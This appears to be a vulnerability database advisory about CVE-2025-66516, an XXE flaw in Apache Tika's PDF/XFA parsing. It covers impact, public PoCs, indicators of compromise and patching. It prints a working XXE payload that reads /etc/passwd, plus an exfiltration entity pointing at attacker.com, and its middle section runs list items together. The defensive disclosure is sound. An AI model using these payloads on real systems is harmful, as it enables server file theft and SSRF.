
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-66516 is a critical XML External Entity (XXE) injection vulnerability in Apache Tika affecting the tika-core module (versions 1.13–3.2.1), tika-pdf-module (versions 2.0.0–3.2.1), and tika-parsers (versions 1.13–1.28.5 for 1.x releases). The vulnerability is triggered when Apache Tika processes a crafted XFA (XML Forms Architecture) file embedded within a PDF document. This CVE expands the scope of the previously disclosed CVE-2025-54988 by clarifying that the actual flaw resides in tika-core, meaning users who patched only the PDF parser module remained vulnerable, and by adding coverage for 1.x releases where the PDFParser resided in tika-parsers. It was published on December 4, 2025, and carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 10.0 (Critical) (GitHub Advisory, Apache Mailing List).
The root cause is CWE-611 (Improper Restriction of XML External Entity Reference). When Apache Tika parses a PDF containing an embedded XFA form, the underlying XML parser in tika-core processes external entity references without adequate restriction, allowing an attacker to inject arbitrary XXE payloads. The attack vector is network-based, requires no authentication, no user interaction, and no special privileges — an attacker simply needs to supply a maliciously crafted PDF to any endpoint that processes documents with a vulnerable Tika version. The critical nuance of this CVE is that the fix must be applied to tika-core (≥ 3.2.2); upgrading only tika-parser-pdf-module is insufficient. A public PoC exploit targeting the related CVE-2025-54988 is available on GitHub and is applicable to this vulnerability (GitHub Advisory, Apache Mailing List, Akamai Blog).
Successful exploitation allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem (e.g., /etc/passwd, application credentials, private keys), perform Server-Side Request Forgery (SSRF) to probe internal network resources, potentially achieve remote code execution, and cause denial of service. The vulnerability affects all platforms and has a full confidentiality, integrity, and availability impact. Given Apache Tika's widespread use in enterprise document processing pipelines — including products from Atlassian, Oracle, IBM, Adobe ColdFusion, Splunk, and Qlik — the blast radius is significant, with over 500 publicly exposed Tika instances identified as vulnerable following disclosure (GitHub Advisory, Security Affairs, CyberSecurityNews).
A public proof-of-concept exploit is available on GitHub targeting the related CVE-2025-54988 (which shares the same underlying vulnerability): POC-CVE-2025-54988. An additional PoC specifically for CVE-2025-66516 was published at sid6224/CVE-2025-66516-POC, and Nuclei detection templates have been merged into the ProjectDiscovery repository. As of the time of reporting, there is no confirmed evidence of active in-the-wild exploitation or known threat actor attribution. The EPSS score is approximately 0.048% (low probability of near-term exploitation), and the vulnerability is not currently listed in the CISA KEV catalog. Detection plugins are available in Nessus (IDs: 277526, 281841, 282327, 282328) and Qualys (Feedly).
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>&xxe;</xfa:data>
</xfa:datasets>PUT /tika or PUT /rmeta).tika-core parses the embedded XFA XML without disabling external entity resolution, causing the XML parser to fetch the external entity (local file or remote URL)./etc/passwd, application config files, SSH keys) is returned in the Tika parsing response or sent out-of-band to an attacker-controlled server via an HTTP-based XXE payload (e.g., <!ENTITY xxe SYSTEM "http://attacker.com/?data=...">).PUT /tika, PUT /rmeta) with unusually large or malformed responses; Java XML parser errors or stack traces referencing XFA or external entity resolution in application logs; repeated PDF submissions from a single source IP./etc/passwd, /etc/shadow, application configuration files, .env files, SSH private keys) by the Java process running Tika, visible in OS-level audit logs (e.g., auditd, Windows Event Log).curl, wget, bash, sh) if RCE is achieved beyond XXE; unexpected network connections from the JVM process.<!DOCTYPE declarations or <!ENTITY references, particularly those referencing file://, http://, or ftp:// URIs (Akamai Blog, SOC Prime).Primary remediation: Upgrade Apache Tika tika-core to version 3.2.2 or later. It is critical to upgrade tika-core specifically — upgrading only tika-parser-pdf-module is insufficient, as the vulnerability and its fix reside in tika-core. For 1.x users, upgrade tika-parsers to the latest patched 1.x release or migrate to Tika 3.2.2+. Ensure both tika-core AND the relevant parser module are updated together.
Downstream product patches: Multiple vendors have released updates incorporating the fix:
Interim workarounds: Restrict PDF upload functionality or disable Tika's XFA processing; implement network egress filtering to block outbound connections from the Tika host; deploy a WAF rule to detect PDF submissions containing <!DOCTYPE or <!ENTITY strings (GitHub Advisory, Apache Mailing List).
The vulnerability received significant media and community attention upon disclosure in early December 2025, driven by its maximum CVSS 4.0 score of 10.0 and the unusual circumstance that a prior patch (CVE-2025-54988) was incomplete — users who had already patched remained vulnerable. The Hacker News, Dark Reading, Security Affairs, CSO Online, SC World, and The Register all covered the story, with headlines emphasizing the "patch miss" angle (The Hacker News, Dark Reading, CSO Online). Security researcher Kevin Beaumont (GossiTheDog) commented on the vulnerability via Mastodon. The community on Reddit (r/cybersecurity, r/InfoSecNews, r/SecOpsDaily) actively discussed the issue, and Akamai published a detailed detection and defense blog post. Atlassian's December 2025 security bulletin explicitly addressed the flaw in its products, and the Belgian CCB issued a warning about data exfiltration risks (CCB Belgium).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."